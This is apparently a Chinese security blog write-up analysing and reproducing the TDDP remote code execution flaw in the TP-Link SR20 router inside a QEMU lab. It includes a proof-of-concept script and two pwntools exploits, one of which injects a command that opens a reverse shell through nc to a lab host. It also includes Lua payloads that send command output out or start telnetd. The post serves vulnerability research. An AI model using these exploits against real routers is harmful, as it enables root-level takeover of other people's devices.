编辑
2023-06-05
Misc
00
请注意,本文编写于 668 天前,最后修改于 668 天前,其中某些信息可能已经过时。

目录

TP-Link SR20 本地网络远程代码执行漏洞分析及复现
简述
TDDP协议解析
环境配置
逆向分析
脚本编写
config_test版
命令注入版
后续更新

😀


简述

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器 此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令 该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中 TDDP 是 TP-Link 申请了专利的调试协议 基于 UDP 运行在 1040 端口

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议 V1 版本无需认证 只需往 SR20 设备的 UDP 1040 端口发送数据 且数据的第二字节为 0x31 时 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行 这就导致存在远程代码执行漏洞

TDDP协议解析

环境配置

固件选用官网提供的SR20(US)_V1_180518 固件未加密 可以直接使用binwalk提取出文件系统

bash
binwalk -Me ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

尝试使用FirmAE模拟环境 发现可以模拟出Web服务但是无法进入Debug模式终端 故选择手动模拟

从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件

  • debian_wheezy_armhf_standard.qcow2
  • initrd.img-3.2.0-4-vexpress
  • vmlinuz-3.2.0-4-vexpress

下载完成完成之后配置虚拟网卡

bash
$ sudo tunctl -t tap0 -u `whoami` $ sudo ifconfig tap0 10.10.10.1/24

启动QEMU虚拟机 账户密码 root-root

bash
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

配置虚拟机网卡 配置完成后网络与物理机相通

bash
$ ifconfig eth0 10.10.10.2/24

然后将文件系统打包过来之后挂载目录 并且使用chroot切换根目录即可

bash
$ mount -o bind /dev ./squashfs-root/dev/ $ mount -t proc /proc/ ./squashfs-root/proc/ $ chroot squashfs-root sh

物理机需要安装安装atftpd搭建TFTP来为QEMU虚拟机提供下载服务

bash
$ sudo apt install atftpd

在安装之后需要修改配置文件/etc/default/atftpd更改一下FTP根目录方便我们操作

conf
USE_INETD=false # OPTIONS below are used only with init script OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"

启动服务

bash
$ sudo systemctl start atftpd

如果出现atftpd: can't bind port :69/udp

bash
$ sudo systemctl stop inetutils-inetd.service $ sudo systemctl restart atftpd

漏洞复现

在atftp根目录下写入payload

sh
function config_test(config) os.execute("id | nc 10.10.10.1 1337") end

启动虚拟机中tddp服务

bash
$ tddp

物理机监听1337端口

bash
$ nc -lvnp 1337

调用POC

bash
$ python3 poc.py 10.10.10.2 /payload

代码得到执行

POC如下

python
#!/usr/bin/python3 # Copyright 2019 Google LLC. # SPDX-License-Identifier: Apache-2.0 # Create a file in your tftp directory with the following contents: # #function config_test(config) # os.execute("telnetd -l /bin/login.sh") #end # # Execute script as poc.py remoteaddr filename import sys import binascii import socket port_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('', port_receive)) # Send a request sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) argument = "%s;arbitrary" % sys.argv[2] packet = packet + argument.encode() sock_send.sendto(packet, (sys.argv[1], port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024) r = response.encode('hex') print(r)

逆向分析

通过漏洞复现很明显漏洞存在于/usr/tddp中 使用IDA进行逆向分析 并且可以通过字符串定位关键函数

在启动时有字符串tddp task start 使用IDA 定位到函数sub_936C

上层继续看一眼 发现是分流 且为最顶层 故认为是main函数 那么继续分析sub_936C 即可

内部大部分函数功能都能一眼看出来 这里直接给出函数重命名后的sub_936C 分析后发现没有接收数据的函数 判断sub_16418为数据接受相关 重点转向sub_16418

发现在sub_16418中确实存在大量sendto()recvfrom()确定为数据接收相关

从32行v18 = recvfrom(v14[9], (char *)v14 + 0xB01B, 0xAFC8u, 0, &addr, &addr_len); 可以知道数据是存在v14+0xB01B的 以此为依据可以向下继续追数据相关的操作 或者可以根据之前复现时的字符串都可以定位到数据处理关键函数sub_15E74

逐一看过来 发现基本都是测试和debug用的函数 直到case 0x31的位置

这里调用了CMD_FTEST_CONFIG 进入之后发现在68行位置有shell命令拼接操作

向上追 发现在59行处进行的参数解析 其中v21为原始字符串 且v21指向v10+0xB01B很明显指向传入的数据处 很明显的命令拼接存在漏洞 就看内部有没有过滤了 追入sub_91DC 发现无过滤 直接得到执行 则此处存在命令注入漏洞

这里IDA反编译有错误 可以看看Frida 可以看到如果成功加载之后会调用lua脚本中的config_test函数 此处也可以使用config_test进行命令执行

脚本编写

首先是在sub_16418中 因为我们想要程序流向sub_15E74 所以必须满足v2==1v2 = *v20 =v14 + 0xB01B即我们输入的第一个字节 所以第一个字节为0x1

进入到sub_15E74后 switch case语句的判断标准是a1[0xB01C]a1为传入的参数即v14 而我们需要程序流入case 0x31 所以确定第二个字节为0x31

进入到case 0x31v21v15控制 且v15==1 所以v21+=12所以输入的字符串应该在12

config_test版
python
import socket import binascii from pwn import * socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'/payload;ss'.encode() socket_send.sendto(payload,('10.10.10.2',1040))
命令注入版
python
import socket import binascii from pwn import * socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'aa 10.10.10.1||nc 10.10.10.1 7777|/bin/sh|nc 10.10.10.1 8888 #;ss'.encode() socket_send.sendto(payload,('10.10.10.2',1040))

后续更新

在后面新版固件中直接砍掉了case 0x31 彻底修复了漏洞(doge)

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!